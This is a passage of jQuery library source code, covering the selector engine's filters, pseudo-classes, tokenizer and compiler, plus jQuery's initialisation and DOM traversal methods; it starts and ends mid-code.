excess ); } // Return only captures needed by the pseudo filter method (type and argument) return match.slice( 0, 3 ); } }, filter: { TAG: function( nodeNameSelector ) { var expectedNodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase(); return nodeNameSelector === "*" ? function() { return true; } : function( elem ) { return nodeName( elem, expectedNodeName ); }; }, CLASS: function( className ) { var pattern = classCache[ className + " " ]; return pattern || ( pattern = new RegExp( "(^|" + whitespace + ")" + className + "(" + whitespace + "|$)" ) ) && classCache( className, function( elem ) { return pattern.test( typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== "undefined" && elem.getAttribute( "class" ) || "" ); } ); }, ATTR: function( name, operator, check ) { return function( elem ) { var result = find.attr( elem, name ); if ( result == null ) { return operator === "!="; } if ( !operator ) { return true; } result += ""; if ( operator === "=" ) { return result === check; } if ( operator === "!=" ) { return result !== check; } if ( operator === "^=" ) { return check && result.indexOf( check ) === 0; } if ( operator === "*=" ) { return check && result.indexOf( check ) > -1; } if ( operator === "$=" ) { return check && result.slice( -check.length ) === check; } if ( operator === "~=" ) { return ( " " + result.replace( rwhitespace, " " ) + " " ) .indexOf( check ) > -1; } if ( operator === "|=" ) { return result === check || result.slice( 0, check.length + 1 ) === check + "-"; } return false; }; }, CHILD: function( type, what, _argument, first, last ) { var simple = type.slice( 0, 3 ) !== "nth", forward = type.slice( -4 ) !== "last", ofType = what === "of-type"; return first === 1 && last === 0 ? // Shortcut for :nth-*(n) function( elem ) { return !!elem.parentNode; } : function( elem, _context, xml ) { var cache, outerCache, node, nodeIndex, start, dir = simple !== forward ? "nextSibling" : "previousSibling", parent = elem.parentNode, name = ofType && elem.nodeName.toLowerCase(), useCache = !xml && !ofType, diff = false; if ( parent ) { // :(first|last|only)-(child|of-type) if ( simple ) { while ( dir ) { node = elem; while ( ( node = node[ dir ] ) ) { if ( ofType ? nodeName( node, name ) : node.nodeType === 1 ) { return false; } } // Reverse direction for :only-* (if we haven't yet done so) start = dir = type === "only" && !start && "nextSibling"; } return true; } start = [ forward ? parent.firstChild : parent.lastChild ]; // non-xml :nth-child(...) stores cache data on `parent` if ( forward && useCache ) { // Seek `elem` from a previously-cached index outerCache = parent[ expando ] || ( parent[ expando ] = {} ); cache = outerCache[ type ] || []; nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ]; diff = nodeIndex && cache[ 2 ]; node = nodeIndex && parent.childNodes[ nodeIndex ]; while ( ( node = ++nodeIndex && node && node[ dir ] || // Fallback to seeking `elem` from the start ( diff = nodeIndex = 0 ) || start.pop() ) ) { // When found, cache indexes on `parent` and break if ( node.nodeType === 1 && ++diff && node === elem ) { outerCache[ type ] = [ dirruns, nodeIndex, diff ]; break; } } } else { // Use previously-cached element index if available if ( useCache ) { outerCache = elem[ expando ] || ( elem[ expando ] = {} ); cache = outerCache[ type ] || []; nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ]; diff = nodeIndex; } // xml :nth-child(...) // or :nth-last-child(...) or :nth(-last)?-of-type(...) if ( diff === false ) { // Use the same loop as above to seek `elem` from the start while ( ( node = ++nodeIndex && node && node[ dir ] || ( diff = nodeIndex = 0 ) || start.pop() ) ) { if ( ( ofType ? nodeName( node, name ) : node.nodeType === 1 ) && ++diff ) { // Cache the index of each encountered element if ( useCache ) { outerCache = node[ expando ] || ( node[ expando ] = {} ); outerCache[ type ] = [ dirruns, diff ]; } if ( node === elem ) { break; } } } } } // Incorporate the offset, then check against cycle size diff -= last; return diff === first || ( diff % first === 0 && diff / first >= 0 ); } }; }, PSEUDO: function( pseudo, argument ) { // pseudo-class names are case-insensitive // https://www.w3.org/TR/selectors/#pseudo-classes // Prioritize by case sensitivity in case custom pseudos are added with uppercase letters // Remember that setFilters inherits from pseudos var args, fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] || find.error( "unsupported pseudo: " + pseudo ); // The user may use createPseudo to indicate that // arguments are needed to create the filter function // just as jQuery does if ( fn[ expando ] ) { return fn( argument ); } // But maintain support for old signatures if ( fn.length > 1 ) { args = [ pseudo, pseudo, "", argument ]; return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ? markFunction( function( seed, matches ) { var idx, matched = fn( seed, argument ), i = matched.length; while ( i-- ) { idx = indexOf.call( seed, matched[ i ] ); seed[ idx ] = !( matches[ idx ] = matched[ i ] ); } } ) : function( elem ) { return fn( elem, 0, args ); }; } return fn; } }, pseudos: { // Potentially complex pseudos not: markFunction( function( selector ) { // Trim the selector passed to compile // to avoid treating leading and trailing // spaces as combinators var input = [], results = [], matcher = compile( selector.replace( rtrimCSS, "$1" ) ); return matcher[ expando ] ? markFunction( function( seed, matches, _context, xml ) { var elem, unmatched = matcher( seed, null, xml, [] ), i = seed.length; // Match elements unmatched by `matcher` while ( i-- ) { if ( ( elem = unmatched[ i ] ) ) { seed[ i ] = !( matches[ i ] = elem ); } } } ) : function( elem, _context, xml ) { input[ 0 ] = elem; matcher( input, null, xml, results ); // Don't keep the element // (see https://github.com/jquery/sizzle/issues/299) input[ 0 ] = null; return !results.pop(); }; } ), has: markFunction( function( selector ) { return function( elem ) { return find( selector, elem ).length > 0; }; } ), contains: markFunction( function( text ) { text = text.replace( runescape, funescape ); return function( elem ) { return ( elem.textContent || jQuery.text( elem ) ).indexOf( text ) > -1; }; } ), // "Whether an element is represented by a :lang() selector // is based solely on the element's language value // being equal to the identifier C, // or beginning with the identifier C immediately followed by "-". // The matching of C against the element's language value is performed case-insensitively. // The identifier C does not have to be a valid language name." // https://www.w3.org/TR/selectors/#lang-pseudo lang: markFunction( function( lang ) { // lang value must be a valid identifier if ( !ridentifier.test( lang || "" ) ) { find.error( "unsupported lang: " + lang ); } lang = lang.replace( runescape, funescape ).toLowerCase(); return function( elem ) { var elemLang; do { if ( ( elemLang = documentIsHTML ? elem.lang : elem.getAttribute( "xml:lang" ) || elem.getAttribute( "lang" ) ) ) { elemLang = elemLang.toLowerCase(); return elemLang === lang || elemLang.indexOf( lang + "-" ) === 0; } } while ( ( elem = elem.parentNode ) && elem.nodeType === 1 ); return false; }; } ), // Miscellaneous target: function( elem ) { var hash = window.location && window.location.hash; return hash && hash.slice( 1 ) === elem.id; }, root: function( elem ) { return elem === documentElement; }, focus: function( elem ) { return elem === safeActiveElement() && document.hasFocus() && !!( elem.type || elem.href || ~elem.tabIndex ); }, // Boolean properties enabled: createDisabledPseudo( false ), disabled: createDisabledPseudo( true ), checked: function( elem ) { // In CSS3, :checked should return both checked and selected elements // https://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked return ( nodeName( elem, "input" ) && !!elem.checked ) || ( nodeName( elem, "option" ) && !!elem.selected ); }, selected: function( elem ) { // Support: IE <=11+ // Accessing the selectedIndex property // forces the browser to treat the default option as // selected when in an optgroup. if ( elem.parentNode ) { // eslint-disable-next-line no-unused-expressions elem.parentNode.selectedIndex; } return elem.selected === true; }, // Contents empty: function( elem ) { // https://www.w3.org/TR/selectors/#empty-pseudo // :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5), // but not by others (comment: 8; processing instruction: 7; etc.) // nodeType < 6 works because attributes (2) do not appear as children for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) { if ( elem.nodeType < 6 ) { return false; } } return true; }, parent: function( elem ) { return !Expr.pseudos.empty( elem ); }, // Element/input types header: function( elem ) { return rheader.test( elem.nodeName ); }, input: function( elem ) { return rinputs.test( elem.nodeName ); }, button: function( elem ) { return nodeName( elem, "input" ) && elem.type === "button" || nodeName( elem, "button" ); }, text: function( elem ) { var attr; return nodeName( elem, "input" ) && elem.type === "text" && // Support: IE <10 only // New HTML5 attribute values (e.g., "search") appear // with elem.type === "text" ( ( attr = elem.getAttribute( "type" ) ) == null || attr.toLowerCase() === "text" ); }, // Position-in-collection first: createPositionalPseudo( function() { return [ 0 ]; } ), last: createPositionalPseudo( function( _matchIndexes, length ) { return [ length - 1 ]; } ), eq: createPositionalPseudo( function( _matchIndexes, length, argument ) { return [ argument < 0 ? argument + length : argument ]; } ), even: createPositionalPseudo( function( matchIndexes, length ) { var i = 0; for ( ; i < length; i += 2 ) { matchIndexes.push( i ); } return matchIndexes; } ), odd: createPositionalPseudo( function( matchIndexes, length ) { var i = 1; for ( ; i < length; i += 2 ) { matchIndexes.push( i ); } return matchIndexes; } ), lt: createPositionalPseudo( function( matchIndexes, length, argument ) { var i; if ( argument < 0 ) { i = argument + length; } else if ( argument > length ) { i = length; } else { i = argument; } for ( ; --i >= 0; ) { matchIndexes.push( i ); } return matchIndexes; } ), gt: createPositionalPseudo( function( matchIndexes, length, argument ) { var i = argument < 0 ? argument + length : argument; for ( ; ++i < length; ) { matchIndexes.push( i ); } return matchIndexes; } ) } }; Expr.pseudos.nth = Expr.pseudos.eq; // Add button/input type pseudos for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) { Expr.pseudos[ i ] = createInputPseudo( i ); } for ( i in { submit: true, reset: true } ) { Expr.pseudos[ i ] = createButtonPseudo( i ); } // Easy API for creating new setFilters function setFilters() {} setFilters.prototype = Expr.filters = Expr.pseudos; Expr.setFilters = new setFilters(); function tokenize( selector, parseOnly ) { var matched, match, tokens, type, soFar, groups, preFilters, cached = tokenCache[ selector + " " ]; if ( cached ) { return parseOnly ? 0 : cached.slice( 0 ); } soFar = selector; groups = []; preFilters = Expr.preFilter; while ( soFar ) { // Comma and first run if ( !matched || ( match = rcomma.exec( soFar ) ) ) { if ( match ) { // Don't consume trailing commas as valid soFar = soFar.slice( match[ 0 ].length ) || soFar; } groups.push( ( tokens = [] ) ); } matched = false; // Combinators if ( ( match = rleadingCombinator.exec( soFar ) ) ) { matched = match.shift(); tokens.push( { value: matched, // Cast descendant combinators to space type: match[ 0 ].replace( rtrimCSS, " " ) } ); soFar = soFar.slice( matched.length ); } // Filters for ( type in Expr.filter ) { if ( ( match = matchExpr[ type ].exec( soFar ) ) && ( !preFilters[ type ] || ( match = preFilters[ type ]( match ) ) ) ) { matched = match.shift(); tokens.push( { value: matched, type: type, matches: match } ); soFar = soFar.slice( matched.length ); } } if ( !matched ) { break; } } // Return the length of the invalid excess // if we're just parsing // Otherwise, throw an error or return tokens if ( parseOnly ) { return soFar.length; } return soFar ? find.error( selector ) : // Cache the tokens tokenCache( selector, groups ).slice( 0 ); } function toSelector( tokens ) { var i = 0, len = tokens.length, selector = ""; for ( ; i < len; i++ ) { selector += tokens[ i ].value; } return selector; } function addCombinator( matcher, combinator, base ) { var dir = combinator.dir, skip = combinator.next, key = skip || dir, checkNonElements = base && key === "parentNode", doneName = done++; return combinator.first ? // Check against closest ancestor/preceding element function( elem, context, xml ) { while ( ( elem = elem[ dir ] ) ) { if ( elem.nodeType === 1 || checkNonElements ) { return matcher( elem, context, xml ); } } return false; } : // Check against all ancestor/preceding elements function( elem, context, xml ) { var oldCache, outerCache, newCache = [ dirruns, doneName ]; // We can't set arbitrary data on XML nodes, so they don't benefit from combinator caching if ( xml ) { while ( ( elem = elem[ dir ] ) ) { if ( elem.nodeType === 1 || checkNonElements ) { if ( matcher( elem, context, xml ) ) { return true; } } } } else { while ( ( elem = elem[ dir ] ) ) { if ( elem.nodeType === 1 || checkNonElements ) { outerCache = elem[ expando ] || ( elem[ expando ] = {} ); if ( skip && nodeName( elem, skip ) ) { elem = elem[ dir ] || elem; } else if ( ( oldCache = outerCache[ key ] ) && oldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) { // Assign to newCache so results back-propagate to previous elements return ( newCache[ 2 ] = oldCache[ 2 ] ); } else { // Reuse newcache so results back-propagate to previous elements outerCache[ key ] = newCache; // A match means we're done; a fail means we have to keep checking if ( ( newCache[ 2 ] = matcher( elem, context, xml ) ) ) { return true; } } } } } return false; }; } function elementMatcher( matchers ) { return matchers.length > 1 ? function( elem, context, xml ) { var i = matchers.length; while ( i-- ) { if ( !matchers[ i ]( elem, context, xml ) ) { return false; } } return true; } : matchers[ 0 ]; } function multipleContexts( selector, contexts, results ) { var i = 0, len = contexts.length; for ( ; i < len; i++ ) { find( selector, contexts[ i ], results ); } return results; } function condense( unmatched, map, filter, context, xml ) { var elem, newUnmatched = [], i = 0, len = unmatched.length, mapped = map != null; for ( ; i < len; i++ ) { if ( ( elem = unmatched[ i ] ) ) { if ( !filter || filter( elem, context, xml ) ) { newUnmatched.push( elem ); if ( mapped ) { map.push( i ); } } } } return newUnmatched; } function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) { if ( postFilter && !postFilter[ expando ] ) { postFilter = setMatcher( postFilter ); } if ( postFinder && !postFinder[ expando ] ) { postFinder = setMatcher( postFinder, postSelector ); } return markFunction( function( seed, results, context, xml ) { var temp, i, elem, matcherOut, preMap = [], postMap = [], preexisting = results.length, // Get initial elements from seed or context elems = seed || multipleContexts( selector || "*", context.nodeType ? [ context ] : context, [] ), // Prefilter to get matcher input, preserving a map for seed-results synchronization matcherIn = preFilter && ( seed || !selector ) ? condense( elems, preMap, preFilter, context, xml ) : elems; if ( matcher ) { // If we have a postFinder, or filtered seed, or non-seed postFilter // or preexisting results, matcherOut = postFinder || ( seed ? preFilter : preexisting || postFilter ) ? // ...intermediate processing is necessary [] : // ...otherwise use results directly results; // Find primary matches matcher( matcherIn, matcherOut, context, xml ); } else { matcherOut = matcherIn; } // Apply postFilter if ( postFilter ) { temp = condense( matcherOut, postMap ); postFilter( temp, [], context, xml ); // Un-match failing elements by moving them back to matcherIn i = temp.length; while ( i-- ) { if ( ( elem = temp[ i ] ) ) { matcherOut[ postMap[ i ] ] = !( matcherIn[ postMap[ i ] ] = elem ); } } } if ( seed ) { if ( postFinder || preFilter ) { if ( postFinder ) { // Get the final matcherOut by condensing this intermediate into postFinder contexts temp = []; i = matcherOut.length; while ( i-- ) { if ( ( elem = matcherOut[ i ] ) ) { // Restore matcherIn since elem is not yet a final match temp.push( ( matcherIn[ i ] = elem ) ); } } postFinder( null, ( matcherOut = [] ), temp, xml ); } // Move matched elements from seed to results to keep them synchronized i = matcherOut.length; while ( i-- ) { if ( ( elem = matcherOut[ i ] ) && ( temp = postFinder ? indexOf.call( seed, elem ) : preMap[ i ] ) > -1 ) { seed[ temp ] = !( results[ temp ] = elem ); } } } // Add elements to results, through postFinder if defined } else { matcherOut = condense( matcherOut === results ? matcherOut.splice( preexisting, matcherOut.length ) : matcherOut ); if ( postFinder ) { postFinder( null, results, matcherOut, xml ); } else { push.apply( results, matcherOut ); } } } ); } function matcherFromTokens( tokens ) { var checkContext, matcher, j, len = tokens.length, leadingRelative = Expr.relative[ tokens[ 0 ].type ], implicitRelative = leadingRelative || Expr.relative[ " " ], i = leadingRelative ? 1 : 0, // The foundational matcher ensures that elements are reachable from top-level context(s) matchContext = addCombinator( function( elem ) { return elem === checkContext; }, implicitRelative, true ), matchAnyContext = addCombinator( function( elem ) { return indexOf.call( checkContext, elem ) > -1; }, implicitRelative, true ), matchers = [ function( elem, context, xml ) { // Support: IE 11+, Edge 17 - 18+ // IE/Edge sometimes throw a "Permission denied" error when strict-comparing // two documents; shallow comparisons work. // eslint-disable-next-line eqeqeq var ret = ( !leadingRelative && ( xml || context != outermostContext ) ) || ( ( checkContext = context ).nodeType ? matchContext( elem, context, xml ) : matchAnyContext( elem, context, xml ) ); // Avoid hanging onto element // (see https://github.com/jquery/sizzle/issues/299) checkContext = null; return ret; } ]; for ( ; i < len; i++ ) { if ( ( matcher = Expr.relative[ tokens[ i ].type ] ) ) { matchers = [ addCombinator( elementMatcher( matchers ), matcher ) ]; } else { matcher = Expr.filter[ tokens[ i ].type ].apply( null, tokens[ i ].matches ); // Return special upon seeing a positional matcher if ( matcher[ expando ] ) { // Find the next relative operator (if any) for proper handling j = ++i; for ( ; j < len; j++ ) { if ( Expr.relative[ tokens[ j ].type ] ) { break; } } return setMatcher( i > 1 && elementMatcher( matchers ), i > 1 && toSelector( // If the preceding token was a descendant combinator, insert an implicit any-element `*` tokens.slice( 0, i - 1 ) .concat( { value: tokens[ i - 2 ].type === " " ? "*" : "" } ) ).replace( rtrimCSS, "$1" ), matcher, i < j && matcherFromTokens( tokens.slice( i, j ) ), j < len && matcherFromTokens( ( tokens = tokens.slice( j ) ) ), j < len && toSelector( tokens ) ); } matchers.push( matcher ); } } return elementMatcher( matchers ); } function matcherFromGroupMatchers( elementMatchers, setMatchers ) { var bySet = setMatchers.length > 0, byElement = elementMatchers.length > 0, superMatcher = function( seed, context, xml, results, outermost ) { var elem, j, matcher, matchedCount = 0, i = "0", unmatched = seed && [], setMatched = [], contextBackup = outermostContext, // We must always have either seed elements or outermost context elems = seed || byElement && Expr.find.TAG( "*", outermost ), // Use integer dirruns iff this is the outermost matcher dirrunsUnique = ( dirruns += contextBackup == null ? 1 : Math.random() || 0.1 ), len = elems.length; if ( outermost ) { // Support: IE 11+, Edge 17 - 18+ // IE/Edge sometimes throw a "Permission denied" error when strict-comparing // two documents; shallow comparisons work. // eslint-disable-next-line eqeqeq outermostContext = context == document || context || outermost; } // Add elements passing elementMatchers directly to results // Support: iOS <=7 - 9 only // Tolerate NodeList properties (IE: "length"; Safari: <number>) matching // elements by id. (see trac-14142) for ( ; i !== len && ( elem = elems[ i ] ) != null; i++ ) { if ( byElement && elem ) { j = 0; // Support: IE 11+, Edge 17 - 18+ // IE/Edge sometimes throw a "Permission denied" error when strict-comparing // two documents; shallow comparisons work. // eslint-disable-next-line eqeqeq if ( !context && elem.ownerDocument != document ) { setDocument( elem ); xml = !documentIsHTML; } while ( ( matcher = elementMatchers[ j++ ] ) ) { if ( matcher( elem, context || document, xml ) ) { push.call( results, elem ); break; } } if ( outermost ) { dirruns = dirrunsUnique; } } // Track unmatched elements for set filters if ( bySet ) { // They will have gone through all possible matchers if ( ( elem = !matcher && elem ) ) { matchedCount--; } // Lengthen the array for every element, matched or not if ( seed ) { unmatched.push( elem ); } } } // `i` is now the count of elements visited above, and adding it to `matchedCount` // makes the latter nonnegative. matchedCount += i; // Apply set filters to unmatched elements // NOTE: This can be skipped if there are no unmatched elements (i.e., `matchedCount` // equals `i`), unless we didn't visit _any_ elements in the above loop because we have // no element matchers and no seed. // Incrementing an initially-string "0" `i` allows `i` to remain a string only in that // case, which will result in a "00" `matchedCount` that differs from `i` but is also // numerically zero. if ( bySet && i !== matchedCount ) { j = 0; while ( ( matcher = setMatchers[ j++ ] ) ) { matcher( unmatched, setMatched, context, xml ); } if ( seed ) { // Reintegrate element matches to eliminate the need for sorting if ( matchedCount > 0 ) { while ( i-- ) { if ( !( unmatched[ i ] || setMatched[ i ] ) ) { setMatched[ i ] = pop.call( results ); } } } // Discard index placeholder values to get only actual matches setMatched = condense( setMatched ); } // Add matches to results push.apply( results, setMatched ); // Seedless set matches succeeding multiple successful matchers stipulate sorting if ( outermost && !seed && setMatched.length > 0 && ( matchedCount + setMatchers.length ) > 1 ) { jQuery.uniqueSort( results ); } } // Override manipulation of globals by nested matchers if ( outermost ) { dirruns = dirrunsUnique; outermostContext = contextBackup; } return unmatched; }; return bySet ? markFunction( superMatcher ) : superMatcher; } function compile( selector, match /* Internal Use Only */ ) { var i, setMatchers = [], elementMatchers = [], cached = compilerCache[ selector + " " ]; if ( !cached ) { // Generate a function of recursive functions that can be used to check each element if ( !match ) { match = tokenize( selector ); } i = match.length; while ( i-- ) { cached = matcherFromTokens( match[ i ] ); if ( cached[ expando ] ) { setMatchers.push( cached ); } else { elementMatchers.push( cached ); } } // Cache the compiled function cached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) ); // Save selector and tokenization cached.selector = selector; } return cached; } /** * A low-level selection function that works with jQuery's compiled * selector functions * @param {String|Function} selector A selector or a pre-compiled * selector function built with jQuery selector compile * @param {Element} context * @param {Array} [results] * @param {Array} [seed] A set of elements to match against */ function select( selector, context, results, seed ) { var i, tokens, token, type, find, compiled = typeof selector === "function" && selector, match = !seed && tokenize( ( selector = compiled.selector || selector ) ); results = results || []; // Try to minimize operations if there is only one selector in the list and no seed // (the latter of which guarantees us context) if ( match.length === 1 ) { // Reduce context if the leading compound selector is an ID tokens = match[ 0 ] = match[ 0 ].slice( 0 ); if ( tokens.length > 2 && ( token = tokens[ 0 ] ).type === "ID" && context.nodeType === 9 && documentIsHTML && Expr.relative[ tokens[ 1 ].type ] ) { context = ( Expr.find.ID( token.matches[ 0 ].replace( runescape, funescape ), context ) || [] )[ 0 ]; if ( !context ) { return results; // Precompiled matchers will still verify ancestry, so step up a level } else if ( compiled ) { context = context.parentNode; } selector = selector.slice( tokens.shift().value.length ); } // Fetch a seed set for right-to-left matching i = matchExpr.needsContext.test( selector ) ? 0 : tokens.length; while ( i-- ) { token = tokens[ i ]; // Abort if we hit a combinator if ( Expr.relative[ ( type = token.type ) ] ) { break; } if ( ( find = Expr.find[ type ] ) ) { // Search, expanding context for leading sibling combinators if ( ( seed = find( token.matches[ 0 ].replace( runescape, funescape ), rsibling.test( tokens[ 0 ].type ) && testContext( context.parentNode ) || context ) ) ) { // If seed is empty or no tokens remain, we can return early tokens.splice( i, 1 ); selector = seed.length && toSelector( tokens ); if ( !selector ) { push.apply( results, seed ); return results; } break; } } } } // Compile and execute a filtering function if one is not provided // Provide `match` to avoid retokenization if we modified the selector above ( compiled || compile( selector, match ) )( seed, context, !documentIsHTML, results, !context || rsibling.test( selector ) && testContext( context.parentNode ) || context ); return results; } // One-time assignments // Support: Android <=4.0 - 4.1+ // Sort stability support.sortStable = expando.split( "" ).sort( sortOrder ).join( "" ) === expando; // Initialize against the default document setDocument(); // Support: Android <=4.0 - 4.1+ // Detached nodes confoundingly follow *each other* support.sortDetached = assert( function( el ) { // Should return 1, but returns 4 (following) return el.compareDocumentPosition( document.createElement( "fieldset" ) ) & 1; } ); jQuery.find = find; // Deprecated jQuery.expr[ ":" ] = jQuery.expr.pseudos; jQuery.unique = jQuery.uniqueSort; // These have always been private, but they used to be documented as part of // Sizzle so let's maintain them for now for backwards compatibility purposes. find.compile = compile; find.select = select; find.setDocument = setDocument; find.tokenize = tokenize; find.escape = jQuery.escapeSelector; find.getText = jQuery.text; find.isXML = jQuery.isXMLDoc; find.selectors = jQuery.expr; find.support = jQuery.support; find.uniqueSort = jQuery.uniqueSort; /* eslint-enable */ } )(); var dir = function( elem, dir, until ) { var matched = [], truncate = until !== undefined; while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) { if ( elem.nodeType === 1 ) { if ( truncate && jQuery( elem ).is( until ) ) { break; } matched.push( elem ); } } return matched; }; var siblings = function( n, elem ) { var matched = []; for ( ; n; n = n.nextSibling ) { if ( n.nodeType === 1 && n !== elem ) { matched.push( n ); } } return matched; }; var rneedsContext = jQuery.expr.match.needsContext; var rsingleTag = ( /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i ); // Implement the identical functionality for filter and not function winnow( elements, qualifier, not ) { if ( isFunction( qualifier ) ) { return jQuery.grep( elements, function( elem, i ) { return !!qualifier.call( elem, i, elem ) !== not; } ); } // Single element if ( qualifier.nodeType ) { return jQuery.grep( elements, function( elem ) { return ( elem === qualifier ) !== not; } ); } // Arraylike of elements (jQuery, arguments, Array) if ( typeof qualifier !== "string" ) { return jQuery.grep( elements, function( elem ) { return ( indexOf.call( qualifier, elem ) > -1 ) !== not; } ); } // Filtered directly for both simple and complex selectors return jQuery.filter( qualifier, elements, not ); } jQuery.filter = function( expr, elems, not ) { var elem = elems[ 0 ]; if ( not ) { expr = ":not(" + expr + ")"; } if ( elems.length === 1 && elem.nodeType === 1 ) { return jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : []; } return jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) { return elem.nodeType === 1; } ) ); }; jQuery.fn.extend( { find: function( selector ) { var i, ret, len = this.length, self = this; if ( typeof selector !== "string" ) { return this.pushStack( jQuery( selector ).filter( function() { for ( i = 0; i < len; i++ ) { if ( jQuery.contains( self[ i ], this ) ) { return true; } } } ) ); } ret = this.pushStack( [] ); for ( i = 0; i < len; i++ ) { jQuery.find( selector, self[ i ], ret ); } return len > 1 ? jQuery.uniqueSort( ret ) : ret; }, filter: function( selector ) { return this.pushStack( winnow( this, selector || [], false ) ); }, not: function( selector ) { return this.pushStack( winnow( this, selector || [], true ) ); }, is: function( selector ) { return !!winnow( this, // If this is a positional/relative selector, check membership in the returned set // so $("p:first").is("p:last") won't return true for a doc with two "p". typeof selector === "string" && rneedsContext.test( selector ) ? jQuery( selector ) : selector || [], false ).length; } } ); // Initialize a jQuery object // A central reference to the root jQuery(document) var rootjQuery, // A simple way to check for HTML strings // Prioritize #id over <tag> to avoid XSS via location.hash (trac-9521) // Strict HTML recognition (trac-11290: must start with <) // Shortcut simple #id case for speed rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/, init = jQuery.fn.init = function( selector, context, root ) { var match, elem; // HANDLE: $(""), $(null), $(undefined), $(false) if ( !selector ) { return this; } // Method init() accepts an alternate rootjQuery // so migrate can support jQuery.sub (gh-2101) root = root || rootjQuery; // Handle HTML strings if ( typeof selector === "string" ) { if ( selector[ 0 ] === "<" && selector[ selector.length - 1 ] === ">" && selector.length >= 3 ) { // Assume that strings that start and end with <> are HTML and skip the regex check match = [ null, selector, null ]; } else { match = rquickExpr.exec( selector ); } // Match html or make sure no context is specified for #id if ( match && ( match[ 1 ] || !context ) ) { // HANDLE: $(html) -> $(array) if ( match[ 1 ] ) { context = context instanceof jQuery ? context[ 0 ] : context; // Option to run scripts is true for back-compat // Intentionally let the error be thrown if parseHTML is not present jQuery.merge( this, jQuery.parseHTML( match[ 1 ], context && context.nodeType ? context.ownerDocument || context : document, true ) ); // HANDLE: $(html, props) if ( rsingleTag.test( match[ 1 ] ) && jQuery.isPlainObject( context ) ) { for ( match in context ) { // Properties of context are called as methods if possible if ( isFunction( this[ match ] ) ) { this[ match ]( context[ match ] ); // ...and otherwise set as attributes } else { this.attr( match, context[ match ] ); } } } return this; // HANDLE: $(#id) } else { elem = document.getElementById( match[ 2 ] ); if ( elem ) { // Inject the element directly into the jQuery object this[ 0 ] = elem; this.length = 1; } return this; } // HANDLE: $(expr, $(...)) } else if ( !context || context.jquery ) { return ( context || root ).find( selector ); // HANDLE: $(expr, context) // (which is just equivalent to: $(context).find(expr) } else { return this.constructor( context ).find( selector ); } // HANDLE: $(DOMElement) } else if ( selector.nodeType ) { this[ 0 ] = selector; this.length = 1; return this; // HANDLE: $(function) // Shortcut for document ready } else if ( isFunction( selector ) ) { return root.ready !== undefined ? root.ready( selector ) : // Execute immediately if ready is not present selector( jQuery ); } return jQuery.makeArray( selector, this ); }; // Give the init function the jQuery prototype for later instantiation init.prototype = jQuery.fn; // Initialize central reference rootjQuery = jQuery( document ); var rparentsprev = /^(?:parents|prev(?:Until|All))/, // Methods guaranteed to produce a unique set when starting from a unique set guaranteedUnique = { children: true, contents: true, next: true, prev: true }; jQuery.fn.extend( { has: function( target ) { var targets = jQuery( target, this ), l = targets.length; return this.filter( function() { var i = 0; for ( ; i < l; i++ ) { if ( jQuery.contains( this, targets[ i ] ) ) { return true; } } } ); }, closest: function( selectors, context ) { var cur, i = 0, l = this.length, matched = [], targets = typeof selectors !== "string" && jQuery( selectors ); // Positional selectors never match, since there's no _selection_ context if ( !rneedsContext.test( selectors ) ) { for ( ; i < l; i++ ) { for ( cur = this[ i ]; cur && cur !== context; cur = cur.parentNode ) { // Always skip document fragments if ( cur.nodeType < 11 && ( targets ? targets.index( cur ) > -1 : // Don't pass non-elements to jQuery#find cur.nodeType === 1 && jQuery.find.matchesSelector( cur, selectors ) ) ) { matched.push( cur ); break; } } } } return this.pushStack( matched.length > 1 ? jQuery.uniqueSort( matched ) : matched ); }, // Determine the position of an element within the set index: function( elem ) { // No argument, return index in parent if ( !elem ) { return ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1; } // Index in selector if ( typeof elem === "string" ) { return indexOf.call( jQuery( elem ), this[ 0 ] ); } // Locate the position of the desired element return indexOf.call( this, // If it receives a jQuery object, the first element is used elem.jquery ? elem[ 0 ] : elem ); }, add: function( selector, context ) { return this.pushStack( jQuery.uniqueSort( jQuery.merge( this.get(), jQuery( selector, context ) ) ) ); }, addBack: function( selector ) { return this.add( selector == null ? this.prevObject : this.prevObject.filter( selector ) ); } } ); function sibling( cur, dir ) { while ( ( cur = cur[ dir ] ) && cur.nodeType !== 1 ) {} return cur; } jQuery.each( { parent: function( elem ) { var parent = elem.parentNode; return parent && parent.nodeType !== 11 ? parent : null; }, parents: function( elem ) { return dir( elem, "parentNode" ); }, parentsUntil: function( elem, _i, until ) { return dir( elem, "parentNode", until ); }, next: function( elem ) { return sibling( elem, "nextSibling" ); }, prev: function( elem ) { return sibling( elem, "previousSibling" ); }, nextAll: function( elem ) { return dir( elem, "nextSibling" ); }, prevAll: function( elem ) { return dir( elem, "previousSibling" ); }, nextUntil: function( elem, _i, until ) { return dir( elem, "nextSibling", until ); }, prevUntil: function( elem, _i, until ) { return dir( elem, "previousSibling", until ); }, siblings: function( elem ) { return siblings( ( elem.parentNode || {} ).firstChild, elem ); }, children: function( elem ) { return siblings( elem.firstChild ); }, contents: function( elem ) { if ( elem.contentDocument != null && // Support: IE 11+ // <object> elements with no `data` attribute has an object // `contentDocument` with a `null` prototype. getProto( elem.contentDocument ) ) { return elem.contentDocument; } // Support: IE 9 - 11 only, iOS 7 only, Android Browser <=4.3 only // Treat the template element as a regular one in browsers that // don't support it. if ( nodeName( elem, "template" ) ) { elem = elem.content || elem; } return jQuery.merge( [], elem.childNodes ); } }, function( name, fn ) { jQuery.fn[ name ] = function( until, selector ) { var matched = jQuery.map( this, fn, until ); if ( name.slice( -5 ) !== "Until" ) { selector = 